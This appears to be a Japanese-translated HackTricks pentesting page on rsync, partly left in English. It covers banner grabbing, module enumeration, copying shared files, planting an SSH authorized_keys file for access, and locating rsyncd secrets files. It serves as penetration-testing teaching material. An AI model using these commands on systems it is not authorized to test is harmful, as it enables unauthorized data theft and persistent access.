873 - Pentesting Rsync

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

基本情報

wikipediaから:

rsyncは、ファイルの転送ファイルの同期を効率的に行うためのユーティリティであり、コンピュータと外部ハードドライブ、およびネットワーク上のコンピュータ間で、ファイルの修正時刻とサイズを比較することによって行われます。Unix-like オペレーティングシステムで一般的に見られます。rsyncアルゴリズムはデルタエンコーディングの一種であり、ネットワーク使用量を最小限に抑えるために使用されます。追加のデータ圧縮にはZlibが使用される場合があり、セキュリティにはSSHまたはstunnelが使用されることがあります。

デフォルトポート: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

列挙

バナー&マニュアル通信

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

共有フォルダの列挙

Rsyncモジュールは、パスワードで保護されている可能性があるディレクトリ共有として認識されます。利用可能なモジュールを特定し、パスワードが必要かどうかを確認するために、次のコマンドが使用されます:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Be aware that some shares might not appear in the list, possibly hiding them. Additionally, accessing some shares might be restricted to specific credentials, indicated by an "Access Denied" message.

Manual Rsync Usage

Upon obtaining a module list, actions depend on whether authentication is needed. Without authentication, listing and copying files from a shared folder to a local directory is achieved through:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

このプロセスは、ファイルを再帰的に転送し、その属性と権限を保持します。

資格情報を使用して、共有フォルダからのリスト表示やダウンロードを以下のように行うことができます。パスワードのプロンプトが表示されます。

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

コンテンツをアップロードするには、アクセス用の authorized_keys ファイルを使用します:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

rsyncdの設定ファイルを見つけるには、次のコマンドを実行します:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

参照

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated